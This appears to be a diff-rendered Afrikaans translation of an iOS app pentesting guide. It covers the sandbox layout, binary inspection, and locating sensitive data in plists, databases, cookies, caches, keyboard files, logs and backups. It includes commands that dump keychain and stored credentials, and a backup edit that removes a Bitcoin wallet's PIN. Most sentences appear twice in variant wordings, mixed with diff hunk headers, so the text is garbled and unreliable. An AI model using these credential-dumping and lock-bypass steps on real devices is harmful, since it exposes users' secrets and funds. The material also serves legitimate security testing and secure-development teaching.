* iOS-aansoeke gebruik gewoonlik die `Toepassingsondersteuning` en `Kassette` subgidse, maar die aansoek kan aangepaste subgidse skep.
* **Biblioteek/Kassette/**
* Bevat **semi-blywende gekassetteerde lêers**.
* Onsigbaar vir gebruikers en **gebruikers kan nie daarin skryf nie**.
* Inhoud in hierdie gids word **nie gestoor nie**.
* Die OS kan hierdie gids se lêers outomaties verwyder wanneer die aansoek nie loop nie en stoorplek min is.
* Die OS kan moontlik hierdie gids se lêers outomaties verwyder wanneer die aansoek nie loop nie en stoor spasie min is.
* **Biblioteek/Toepassingsondersteuning/**
* Bevat **blywende lêers** wat nodig is vir die aansoek se werking.
* **Onsigbaar vir gebruikers** en gebruikers kan nie daarin skryf nie.
* Inhoud in hierdie gids word **gestoor**.
* Die aansoek kan paaie deaktiveer deur `NSURLIsExcludedFromBackupKey` in te stel.
* **Biblioteek/Voorkeure/**
* Gebruik vir die stoor van eienskappe wat selfs nadat 'n aansoek heraangestart is, **bly voortbestaan**.
* Inligting word ongekripteer binne die aansoek se sandput in 'n plist-lêer genaamd \[BONDSEL\_ID].plist gestoor.
* Al die sleutel/waardepare wat met `NSUserDefaults` gestoor word, kan in hierdie lêer gevind word.
* Word gebruik vir die stoor van eienskappe wat selfs nadat 'n aansoek heraangestel word, **bly voortbestaan**.
* Inligting word ongekripteer binne die aansoek sandput in 'n plist lêer genaamd \[BONDSEL\_ID].plist gestoor.
* Alle sleutel/waarde pare wat met `NSUserDefaults` gestoor word, kan in hierdie lêer gevind word.
* **tmp/**
* Gebruik hierdie gids om **tydelike lêers** te skryf wat nie tussen aansoekbeginne moet voortduur nie.
* Gebruik hierdie gids om **tydelike lêers** te skryf wat nie tussen aansoekbeginne moet bly voortbestaan nie.
* Bevat nie-blywende gekassetteerde lêers.
* Onsigbaar vir gebruikers.
* Inhoud in hierdie gids word nie gestoor nie.
* Die OS kan hierdie gids se lêers outomaties verwyder wanneer die aansoek nie loop nie en stoorplek min is.
* **Onsigbaar** vir gebruikers.
* Inhoud in hierdie gids word **nie gestoor nie**.
* Die OS kan moontlik hierdie gids se lêers outomaties verwyder wanneer die aansoek nie loop nie en stoor spasie min is.
Laten ons 'n nader kyk na iGoat-Swift se Aansoekbondel (.app) gids binne die Bondelgids (`/var/containers/Bondel/Aansoek/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
Laten ons 'n nouer kyk na iGoat-Swift se Aansoekbondel (.app) gids binne die Bondelgids (`/var/containers/Bondel/Aansoek/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
```bash
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
NSFileType Perms NSFileProtection ... Name
@ -291,7 +291,7 @@ Regular 420 None ... README.txt
```
### Binêre Omkeer
Binne die `<application-name>.app`-vouer sal jy 'n binêre lêer kry genaamd `<application-name>`. Hierdie is die lêer wat **uitgevoer** sal word. Jy kan 'n basiese inspeksie van die binêre lêer doen met die gereedskap **`otool`**:
Binne die `<application-name>.app`-vouer sal jy 'n binêre lêer kry genaamd `<application-name>`. Hierdie is die lêer wat sal **uitgevoer** word. Jy kan 'n basiese inspeksie van die binêre lêer doen met die gereedskap **`otool`**:
```bash
otool -Vh DVIA-v2 #Check some compilation attributes
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
@ -367,19 +367,19 @@ double _field1;
double _field2;
};
```
Egter, die beste opsies om die binêre kode te ontleed is: [**Hopper**](https://www.hopperapp.com/download.html?) en [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/).
Egter, die beste opsies om die binêre kode te ontleed is: [**Hopper**](https://www.hopperapp.com/download.html?) en [**IDA**](https://www.hex-rays.com/products/ida/support/download\_freeware/).
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) om maklik te bou en **werkstrome outomaties** te laat loop met die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\
Kry Toegang Vandag:
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) om maklik te bou en **werkstrome te outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
## Data Berging
Om uit te vind hoe iOS data op die toestel stoor, lees hierdie bladsy:
Om te leer oor hoe iOS data op die toestel stoor, lees hierdie bladsy:
{% content-ref url="ios-basics.md" %}
[ios-basics.md](ios-basics.md)
@ -392,17 +392,17 @@ Die doel is om **ongebeskermde sensitiewe inligting** van die aansoek (wagwoorde
### Plist
**plist** lêers is gestruktureerde XML-lêers wat **sleutel-waarde pare bevat**. Dit is 'n manier om volgehoue data te stoor, sodat jy soms **sensitiewe inligting in hierdie lêers kan vind**. Dit word aanbeveel om hierdie lêers te kontroleer nadat die aansoek geïnstalleer is en nadat dit intensief gebruik is om te sien of nuwe data geskryf is.
**plist** lêers is gestruktureerde XML-lêers wat **sleutel-waarde pare bevat**. Dit is 'n manier om volgehoue data te stoor, so soms mag jy **sensitiewe inligting in hierdie lêers vind**. Dit word aanbeveel om hierdie lêers te kontroleer na die installering van die aansoek en na intensiewe gebruik daarvan om te sien of nuwe data geskryf is.
Die mees algemene manier om data in plist-lêers vol te hou, is deur die gebruik van **NSUserDefaults**. Hierdie plist-lêer word binne die aansoek se sandput gestoor in **`Library/Preferences/<appBundleID>.plist`**
Die mees algemene manier om data in plist-lêers te behou, is deur die gebruik van **NSUserDefaults**. Hierdie plist-lêer word binne die aansoek se sandput gestoor in **`Library/Preferences/<appBundleID>.plist`**
Die [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) klas bied 'n programmatiese koppelvlak vir interaksie met die verstekstelsel. Die verstekstelsel laat 'n aansoek toe om sy gedrag aan te pas volgens **gebruikersvoorkeure**. Data wat deur `NSUserDefaults` gestoor word, kan in die aansoekbundel besigtig word. Hierdie klas stoor **data** in 'n **plist** **lêer**, maar dit is bedoel om met klein hoeveelhede data gebruik te word.
Hierdie data kan nie direk via 'n vertroude rekenaar benader word nie, maar kan benader word deur 'n **back-up** uit te voer.
Jy kan die inligting wat met **`NSUserDefaults`** gestoor is, **dump** deur gebruik te maak van objection se `ios nsuserdefaults get`
Jy kan die inligting wat gestoor is met behulp van **`NSUserDefaults`** dump deur gebruik te maak van objection se `ios nsuserdefaults get`
Om al die plist-lêers wat deur die aansoek gebruik word, te vind, kan jy toegang kry tot `/private/var/mobile/Containers/Data/Application/{APPID}` en hardloop:
Om al die plist-lêers wat deur die aansoek gebruik word te vind, kan jy toegang kry tot `/private/var/mobile/Containers/Data/Application/{APPID}` en hardloop:
```bash
find ./ -name "*.plist"
```
@ -417,7 +417,7 @@ $ plutil -convert xml1 Info.plist
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
```
**Binne 'n Objection-sessie:** Vir die analise van mobiele aansoeke, laat 'n spesifieke bevel jou toe om plist-lêers direk te omskep:
**Binne 'n Objection-sessie:** Vir die analise van mobiele toepassings, laat 'n spesifieke bevel jou toe om plist-lêers direk te omskep:
```bash
ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>/Library/Preferences/com.some.package.app.plist
```
@ -463,15 +463,15 @@ Aangesien die Yap-databasisse sqlite-databasisse is, kan jy hulle vind deur die
### Ander SQLite-databasisse
Dit is algemeen vir toepassings om hul eie sqlite-databasis te skep. Hulle kan **sensitiewe data** daarop **berg** en dit ongeënkripteer los. Daarom is dit altyd interessant om elke databasis binne die toepassingsgids te ondersoek. Gaan dus na die toepassingsgids waar die data gestoor word (`/private/var/mobile/Containers/Data/Application/{APPID}`)
Dit is algemeen vir toepassings om hul eie sqlite-databasis te skep. Hulle kan **sensitiewe** **data** daarop **berg** en dit ongeënkripteer los. Daarom is dit altyd interessant om elke databasis binne die toepassingsgids te ondersoek. Gaan dus na die toepassingsgids waar die data gestoor word (`/private/var/mobile/Containers/Data/Application/{APPID}`)
```bash
find ./ -name "*.sqlite" -or -name "*.db"
```
### Firebase Real-Time Databasis
Ontwikkelaars kan **data stoor en sinchroniseer** binne 'n **NoSQL-wolk-gehoste databasis** deur Firebase Real-Time Databasis. Gestoor in JSON-formaat, word die data gesinchroniseer na alle gekoppelde kliënte in werklike tyd.
Ontwikkelaars is in staat gestel om **data te stoor en te sinchroniseer** binne 'n **NoSQL wolk-gehoste databasis** deur Firebase Real-Time Databasis. Gestoor in JSON-formaat, word die data gesinchroniseer na alle gekoppelde kliënte in werklike tyd.
Jy kan hier vind hoe om te kyk vir verkeerd geconfigureerde Firebase databasisse:
Jy kan uitvind hoe om vir verkeerd gekonfigureerde Firebase databasisse te soek hier:
{% content-ref url="../../network-services-pentesting/pentesting-web/buckets/firebase-database.md" %}
[firebase-database.md](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
@ -479,9 +479,9 @@ Jy kan hier vind hoe om te kyk vir verkeerd geconfigureerde Firebase databasisse
### Realm databasisse
[Realm Objective-C](https://realm.io/docs/objc/latest/) en [Realm Swift](https://realm.io/docs/swift/latest/) bied 'n kragtige alternatief vir data stoor, nie voorsien deur Apple nie. Standaard **stoor hulle data onversleutel**, met versleuteling beskikbaar deur spesifieke konfigurasie.
[Realm Objective-C](https://realm.io/docs/objc/latest/) en [Realm Swift](https://realm.io/docs/swift/latest/) bied 'n kragtige alternatief vir data-opberging, nie voorsien deur Apple nie. Standaard **stoor hulle data onversleutel**, met versleuteling beskikbaar deur spesifieke konfigurasie.
Die databasisse is geleë by: `/private/var/mobile/Containers/Data/Application/{APPID}`. Om hierdie lêers te verken, kan mens opdragte soos die volgende gebruik:
Die databasisse is geleë by: `/private/var/mobile/Containers/Data/Application/{APPID}`. Om hierdie lêers te verken, kan mens opdragte gebruik soos:
```bash
iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls
default.realm default.realm.lock default.realm.management/ default.realm.note|
@ -504,9 +504,9 @@ fatalError("Error opening realm: \(error)")
```
### Couchbase Lite Databasis
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) word beskryf as 'n **ligte** en **ingeboude** databasis-enjin wat die **dokument-georiënteerde** (NoSQL) benadering volg. Dit is ontwerp om inheems te wees aan **iOS** en **macOS**, en bied die vermoë om data naatloos te sinchroniseer.
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) word beskryf as 'n **ligte** en **ingeboude** databasis-enjin wat die **dokumentgeoriënteerde** (NoSQL) benadering volg. Dit is ontwerp om inheems te wees aan **iOS** en **macOS**, en bied die vermoë om data naatloos te sinchroniseer.
Om potensiële Couchbase databasisse op 'n toestel te identifiseer, moet die volgende gids ondersoek word:
Om potensiële Couchbase-databasisse op 'n toestel te identifiseer, moet die volgende gids ondersoek word:
```bash
ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/
```
@ -514,7 +514,7 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S
iOS stoor die koekies van die programme in die **`Library/Cookies/cookies.binarycookies`** binne elke program se vouer. Ontwikkelaars besluit egter soms om hulle in die **sleutelhangertoestel** te stoor aangesien die genoemde **koekie lêer in rugsteune toeganklik kan wees**.
Om die koekie lêer te ondersoek, kan jy [**hierdie Python-skrip**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) gebruik of objection se **`ios cookies get`.**\
Om die koekies lêer te ondersoek, kan jy [**hierdie Python-skrip**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) gebruik of objection se **`ios cookies get`.**\
**Jy kan ook objection gebruik om** hierdie lêers na 'n JSON-formaat te omskep en die data te ondersoek.
```bash
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
@ -533,7 +533,7 @@ Om die koekie lêer te ondersoek, kan jy [**hierdie Python-skrip**](https://gith
```
### Cache
Standaard stoor NSURLSession data, soos **HTTP-versoeke en -antwoorde in die Cache.db** databasis. Hierdie databasis kan **sensitiewe data** bevat, as tokkens, gebruikersname of enige ander sensitiewe inligting gekasheer is. Om die gekasheerde inligting te vind, open die data-gids van die program (`/var/mobile/Containers/Data/Application/<UUID>`) en gaan na `/Library/Caches/<Bundle Identifier>`. Die **WebKit-cache word ook gestoor in die Cache.db** lêer. **Objection** kan die databasis oopmaak en daarmee interaksie hê met die opdrag `sqlite connect Cache.db`, aangesien dit 'n **normale SQLite-databasis** is.
Standaard stoor NSURLSession data, soos **HTTP-versoeke en -antwoorde in die Cache.db** databasis. Hierdie databasis kan **sensitiewe data** bevat, as tokkens, gebruikersname of enige ander sensitiewe inligting gekasheer is. Om die gekasheerde inligting te vind, open die data-gids van die program (`/var/mobile/Containers/Data/Application/<UUID>`) en gaan na `/Library/Caches/<Bundle Identifier>`. Die **WebKit-cache word ook gestoor in die Cache.db** lêer. **Objection** kan die databasis oopmaak en daarmee interaksie hê met die opdrag `sqlite connect Cache.db`, aangesien dit 'n **gewone SQLite-databasis** is.
Dit word **aanbeveel om hierdie data se Kassering te deaktiveer**, aangesien dit sensitiewe inligting in die versoek of antwoord kan bevat. Die volgende lys toon verskillende maniere om dit te bereik:
@ -542,11 +542,11 @@ Dit word **aanbeveel om hierdie data se Kassering te deaktiveer**, aangesien dit
`URLCache.shared.removeAllCachedResponses()`
Hierdie metode sal alle gekasheerde versoeke en antwoorde uit die Cache.db-lêer verwyder.
2. As jy nie die voordeel van koekies wil gebruik nie, word dit aanbeveel om net die [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) konfigurasie-eienskap van URLSession te gebruik, wat die stoor van koekies en Kassering sal deaktiveer.
2. As jy nie die voordeel van koekies wil gebruik nie, word dit aanbeveel om net die [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) konfigurasie-eienskap van URLSession te gebruik, wat koekies en Kassering deaktiveer.
[Apple-dokumentasie](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
`'n Ephemeral-sessiekonfigurasie-objek is soortgelyk aan 'n verstek-sessiekonfigurasie (sien verstek), behalwe dat die ooreenstemmende sessieobjek nie kassas, geloofsbewaarplekke, of enige sessie-verwante data na skyf stoor nie. In plaas daarvan word sessie-verwante data in RAM gestoor. Die enigste tyd wat 'n ephemeral-sessie data na skyf skryf, is wanneer jy dit sê om die inhoud van 'n URL na 'n lêer te skryf.`
`'n Ephemeral-sessiekonfigurasie-objek is soortgelyk aan 'n verstek-sessiekonfigurasie (sien verstek), behalwe dat die ooreenstemmende sessieobjek nie kassas, geloofsbewaarplekke of enige sessie-verwante data na skyf stoor nie. In plaas daarvan word sessie-verwante data in RAM gestoor. Die enigste tyd wat 'n ephemeral-sessie data na skyf skryf, is wanneer jy dit sê om die inhoud van 'n URL na 'n lêer te skryf.`
3. Kassering kan ook gedeaktiveer word deur die Kasseringbeleid in te stel op [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Dit sal die stoor van Kassering op enige manier, hetsy in geheue of op skyf, deaktiveer.
### Snapshots
@ -574,7 +574,7 @@ func applicationWillEnterForeground(_ application: UIApplication) {
backgroundImage?.removeFromSuperview()
}
```
### Doel-C:
**Doel-C:**
```
@property (UIImageView *)backgroundImage;
@ -593,11 +593,11 @@ Hierdie stel die agtergrondbeeld in op `overlayImage.png` wanneer die aansoek na
### Sleutelbos
Vir toegang tot en bestuur van die iOS-sleutelbos, is gereedskap soos [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) beskikbaar, geskik vir gejailbreakte toestelle. Daarbenewens bied [**Objection**](https://github.com/sensepost/objection) die opdrag `ios keychain dump` vir soortgelyke doeleindes.
Vir toegang tot en bestuur van die iOS-sleutelbos, is gereedskap soos [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) beskikbaar, geskik vir gejailbreakte toestelle. Daarbenewens bied [**Objection**](https://github.com/sensepost/objection) die bevel `ios keychain dump` vir soortgelyke doeleindes.
#### **Stoor van Gelde**
#### **Stoor Legitimasie**
Die **NSURLCredential** klas is ideaal vir die stoor van sensitiewe inligting direk in die sleutelbos, om NSUserDefaults of ander omhulsels te vermy. Om gelde na die aanmelding te stoor, word die volgende Swift-kode gebruik:
Die **NSURLCredential** klas is ideaal vir die stoor van sensitiewe inligting direk in die sleutelbos, om die behoefte aan NSUserDefaults of ander omhulsels te vermy. Om legitimasie na die aanmelding te stoor, word die volgende Swift-kode gebruik:
```swift
NSURLCredential *credential;
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
@ -607,22 +607,22 @@ Om hierdie gestoorde geloofsbriewe te onttrek, word die bevel `ios nsurlcredenti
## **Aangepaste Sleutelborde en Sleutelbordgeheue**
Met iOS 8.0 en verder kan gebruikers aangepaste sleutelborduitbreidings installeer, wat bestuurbaar is onder **Instellings > Algemeen > Sleutelbord > Sleutelborde**. Terwyl hierdie sleutelborde verlengde funksionaliteit bied, hulle stel 'n risiko van sleutelbordlogging en die oordrag van data na eksterne bedieners, alhoewel gebruikers in kennis gestel word van sleutelborde wat netwerktoegang benodig. Programme kan, en moet, die gebruik van aangepaste sleutelborde vir die invoer van sensitiewe inligting beperk.
Met iOS 8.0 en later kan gebruikers aangepaste sleutelborduitbreidings installeer, wat bestuurbaar is onder **Instellings > Algemeen > Sleutelbord > Sleutelborde**. Terwyl hierdie sleutelborde uitgebreide funksionaliteit bied, hulle 'n risiko van sleutelstrokkeloggings en die oordrag van data na eksterne bedieners, alhoewel gebruikers in kennis gestel word van sleutelborde wat netwerktoegang benodig. Programme kan, en behoort, die gebruik van aangepaste sleutelborde vir die invoer van sensitiewe inligting te beperk.
**Sekuriteitsaanbevelings:**
* Dit word aanbeveel om derdeparty-sleutelborde te deaktiveer vir verbeterde sekuriteit.
* Wees bewus van die outokorreksie- en outo-voorstel-funksies van die verstek iOS-sleutelbord, wat sensitiewe inligting in geheue lêers wat in `Library/Keyboard/{locale}-dynamic-text.dat` of `/private/var/mobile/Library/Keyboard/dynamic-text.dat` geleë is, kan stoor. Hierdie geheue lêers moet gereeld nagegaan word vir sensitiewe data. Dit word aanbeveel om die sleutelbordwoordeboek te herstel via **Instellings > Algemeen > Herstel > Herstel Sleutelbordwoordeboek** om gekaakte data te skoonmaak.
* Wees bewus van die outokorreksie- en outo-voorstel-funksies van die verstek iOS-sleutelbord, wat sensitiewe inligting in die geheue lêers geleë in `Library/Keyboard/{locale}-dynamic-text.dat` of `/private/var/mobile/Library/Keyboard/dynamic-text.dat` kan stoor. Hierdie geheue lêers moet gereeld nagegaan word vir sensitiewe data. Dit word aanbeveel om die sleutelbordwoordeboek te herstel via **Instellings > Algemeen > Herstel > Herstel Sleutelbordwoordeboek** om gekaapte data te skoonmaak.
* Die onderskepping van netwerkverkeer kan onthul of 'n aangepaste sleutelbord sleutelstrokes op afstand oordra.
### **Voorkoming van Teksveldgeheue**
Die [UITextInputTraits-protokol](https://developer.apple.com/reference/uikit/uitextinputtraits) bied eienskappe om outokorreksie en veilige teksinvoer te bestuur, wat noodsaaklik is vir die voorkoming van die kaching van sensitiewe inligting. Byvoorbeeld, die deaktivering van outokorreksie en die aktivering van veilige teksinvoer kan bereik word met:
Die [UITextInputTraits-protokol](https://developer.apple.com/reference/uikit/uitextinputtraits) bied eienskappe om outokorreksie en veilige teksinvoer te bestuur, wat noodsaaklik is vir die voorkoming van die kapping van sensitiewe inligting. Byvoorbeeld, die deaktivering van outokorreksie en die aktivering van veilige teksinvoer kan bereik word met:
```objectivec
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
textObject.secureTextEntry = YES;
```
Daarbenewens moet ontwikkelaars verseker dat teksvelde, veral dié vir die invoer van sensitiewe inligting soos wagwoorde en PINs, kaching deaktiveer deur `autocorrectionType` in te stel op `UITextAutocorrectionTypeNo` en `secureTextEntry` op `YES`.
Daarbenewens moet ontwikkelaars verseker dat teksvelde, veral dié vir die invoer van sensitiewe inligting soos wagwoorde en PINs, die kaching deaktiveer deur `autocorrectionType` in te stel op `UITextAutocorrectionTypeNo` en `secureTextEntry` op `YES`.
```objectivec
UITextField *textField = [[UITextField alloc] initWithFrame:frame];
textField.autocorrectionType = UITextAutocorrectionTypeNo;
@ -635,16 +635,16 @@ Ten spyte van hierdie beperkings kan 'n **aanvaller met fisiese toegang** tot 'n
Om risiko's te verminder, word dit aanbeveel om **deeglik met die toepassing te interageer**, al sy funksies en insette te verken om te verseker dat geen sensitiewe inligting per ongeluk gelog word nie.
Wanneer jy die bronkode van die toepassing deurkyk vir potensiële lekkasies, soek na beide **voorgedefinieerde** en **aangepaste logging-stellings** met sleutelwoorde soos `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` vir ingeboude funksies, en enige vermeldings van `Logging` of `Logfile` vir aangepaste implementasies.
Wanneer jy die bronkode van die toepassing deurkyk vir potensiële lekkasies, soek na beide **voorgedefinieerde** en **aangepaste logging-stellings** met sleutelwoorde soos `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` vir ingeboude funksies, en enige meldings van `Logging` of `Logfile` vir aangepaste implementasies.
### **Monitering van Stelsellogs**
Toepassings log verskeie stukke inligting wat sensitief kan wees. Om hierdie logs te monitor, kan gereedskap en opdragte soos:
Toepassings log verskeie stukke inligting wat sensitief kan wees. Om hierdie logs te monitor, kan gereedskap en bevele soos:
```bash
idevice_id --list # To find the device ID
idevicesyslog -u <id> (| grep <app>) # To capture the device logs
```
Is nuttig. Daarbenewens bied **Xcode** 'n manier om konsole-logboeke te versamel:
is nuttig. Daarbenewens bied **Xcode** 'n manier om konsole-logboeke te versamel:
1. Maak Xcode oop.
2. Koppel die iOS-toestel aan.
@ -653,7 +653,7 @@ Is nuttig. Daarbenewens bied **Xcode** 'n manier om konsole-logboeke te versamel
5. Trigger die probleem wat jy ondersoek.
6. Gebruik die **Maak Konsole Oop**-knoppie om logboeke in 'n nuwe venster te sien.
Vir meer gevorderde logging, kan die koppel van die toestel se skul en die gebruik van **socat** werklike tyd log-monitoring bied:
Vir meer gevorderde logging kan die koppel aan die toestel se skul en die gebruik van **socat** werklike tyd log-monitoring bied:
```bash
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
```
@ -664,28 +664,28 @@ Volg deur bevele om logaktiwiteite waar te neem, wat van onschatbare waarde kan
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome te bou** en outomatiseer met die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) om maklik **werkvloeie te bou** en outomatiseer, aangedryf deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
## Agteruitskopieë
**Outomatiese agteruitskopiefunksies** is geïntegreer in iOS, wat die skep van toesteldatakopieë deur iTunes (tot macOS Catalina), Finder (vanaf macOS Catalina voort) of iCloud fasiliteer. Hierdie agteruitskopieë dek amper alle toesteldata, met uitsluiting van hoogs sensitiewe elemente soos Apple Pay besonderhede en Touch ID konfigurasies.
**Outomatiese agteruitskopieëfunksies** is geïntegreer in iOS, wat die skep van toesteldata-eksemplare deur iTunes (tot macOS Catalina), Finder (vanaf macOS Catalina voort) of iCloud fasiliteer. Hierdie agteruitskopieë dek bykans alle toesteldata, met uitsluiting van hoogs sensitiewe elemente soos Apple Pay besonderhede en Touch ID konfigurasies.
### Sekuriteitsrisiko's
Die insluiting van **geïnstalleerde programme en hul data** in agteruitskopieë bring die kwessie van potensiële **datalekage** na vore en die risiko dat **agteruitskopiewysigings programfunksionaliteit kan verander**. Dit word aanbeveel om **nie sensitiewe inligting in platte teks te stoor** binne enige program se gids of sy subgidse om hierdie risiko's te verminder.
Die insluiting van **geïnstalleerde programme en hul data** in agteruitskopieë lig die kwessie van potensiële **datalekage** en die risiko dat **agteruitskopiewysigings programfunksionaliteit kan verander**. Dit word aanbeveel om **nie sensitiewe inligting in platte teks te stoor** binne enige program se gids of sy subgidse om hierdie risiko's te verminder.
### Uitsluiting van Lêers uit Agteruitskopieë
Lêers in `Documents/` en `Library/Application Support/` word standaard agteruitgekopieer. Ontwikkelaars kan spesifieke lêers of gids uit agteruitskopieë uitsluit deur `NSURL setResourceValue:forKey:error:` te gebruik met die `NSURLIsExcludedFromBackupKey`. Hierdie praktyk is noodsaaklik om sensitiewe data te beskerm teen insluiting in agteruitskopieë.
Lêers in `Documents/` en `Library/Application Support/` word standaard agteruitgekopieer. Ontwikkelaars kan spesifieke lêers of gidse uit agteruitskopieë uitsluit deur `NSURL setResourceValue:forKey:error:` met die `NSURLIsExcludedFromBackupKey` te gebruik. Hierdie praktyk is noodsaaklik om sensitiewe data te beskerm teen insluiting in agteruitskopieë.
### Toets vir Swakhede
Om 'n program se agteruitskopie-sekuriteit te assesseer, begin deur 'n agteruitskopie te **skep** met Finder, en vind dit dan met behulp van leiding van [Apple se amptelike dokumentasie](https://support.apple.com/en-us/HT204215). Analiseer die agteruitskopie vir sensitiewe data of konfigurasies wat verander kan word om programgedrag te affekteer.
Om 'n program se agteruitskopie-sekuriteit te assesseer, begin deur **'n agteruitskopie te skep** met Finder, en vind dit dan met behulp van leiding van [Apple se amptelike dokumentasie](https://support.apple.com/en-us/HT204215). Analiseer die agteruitskopie vir sensitiewe data of konfigurasies wat verander kan word om programgedrag te affekteer.
Sensitiewe inligting kan opgespoor word met behulp van opdraglyninstrumente of toepassings soos [iMazing](https://imazing.com). Vir versleutelde agteruitskopieë kan die teenwoordigheid van versleuteling bevestig word deur die "IsEncrypted" sleutel in die "Manifest.plist" lêer by die agteruitskopie se hoof te kontroleer.
Sensitiewe inligting kan opgespoor word met behulp van opdraglyn-instrumente of toepassings soos [iMazing](https://imazing.com). Vir versleutelde agteruitskopieë kan die teenwoordigheid van versleuteling bevestig word deur die "IsEncrypted" sleutel in die "Manifest.plist" lêer by die agteruitskopie se hoof te kontroleer.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -698,21 +698,21 @@ Sensitiewe inligting kan opgespoor word met behulp van opdraglyninstrumente of t
...
</plist>
```
Vir die hantering van versleutelde rugsteunkopieë, kan Python-skripte beskikbaar in [DinoSec se GitHub-opberging](https://github.com/dinosec/iphone-dataprotection/tree/master/python\_scripts), soos **backup\_tool.py** en **backup\_passwd.py**, nuttig wees, alhoewel dit moontlik aanpassings mag vereis vir versoenbaarheid met die nuutste iTunes/Finder-weergawes. Die [**iOSbackup**-werktuig](https://pypi.org/project/iOSbackup/) is 'n ander opsie vir die toegang tot lêers binne wagwoordbeskermde rugsteunkopieë.
Vir die hantering van versleutelde rugsteun, kan Python-skripte beskikbaar in [DinoSec se GitHub-opberging](https://github.com/dinosec/iphone-dataprotection/tree/master/python\_scripts), soos **backup\_tool.py** en **backup\_passwd.py**, nuttig wees, alhoewel dit moontlik aanpassings mag vereis vir versoenbaarheid met die nuutste iTunes/Finder weergawes. Die [**iOSbackup**-werktuig](https://pypi.org/project/iOSbackup/) is 'n ander opsie vir die toegang tot lêers binne wagwoordbeskermde rugsteune.
### Wysiging van App-gedrag
'n Voorbeeld van die verandering van app-gedrag deur rugsteunveranderings word gedemonstreer in die [Bither bitcoin-bewaarportefeulje-app](https://github.com/bither/bither-ios), waar die UI-slot-PIN binne `net.bither.plist` onder die **pin\_code** sleutel gestoor word. Die verwydering van hierdie sleutel uit die plist en die herstel van die rugsteun verwyder die PIN-vereiste, wat onbeperkte toegang bied.
'n Voorbeeld van die verandering van app-gedrag deur rugsteunwysigings word gedemonstreer in die [Bither bitcoin-bewaarplek-app](https://github.com/bither/bither-ios), waar die UI-slot-PIN binne `net.bither.plist` onder die **pin\_code** sleutel gestoor word. Die verwydering van hierdie sleutel uit die plist en die herstel van die rugsteun verwyder die PIN-vereiste, wat onbeperkte toegang bied.
## Opsomming van Geheugentoetsing vir Sensitiewe Data
## Opsomming van Geheuetoetsing vir Sensitiewe Data
Wanneer daar gehandel word met sensitiewe inligting wat in 'n toepassing se geheue gestoor word, is dit noodsaaklik om die blootstellingsduur van hierdie data te beperk. Daar is twee primêre benaderings om geheue-inhoud te ondersoek: **die skep van 'n geheue-afleëring** en **die analise van die geheue in werklike tyd**. Beide metodes het hul uitdagings, insluitend die potensiaal om kritieke data tydens die afleesproses of analise te mis.
Wanneer daar gehandel word met sensitiewe inligting wat in 'n aansoek se geheue gestoor word, is dit noodsaaklik om die blootstellingsduur van hierdie data te beperk. Daar is twee primêre benaderings om geheue-inhoud te ondersoek: **die skep van 'n geheue-dump** en **die analise van die geheue in werklike tyd**. Beide metodes het hul uitdagings, insluitend die potensiaal om kritieke data tydens die dump-proses of analise te mis.
## **Ophaling en Analise van 'n Geheue-Afleëring**
## **Ophaling en Analise van 'n Geheue-dump**
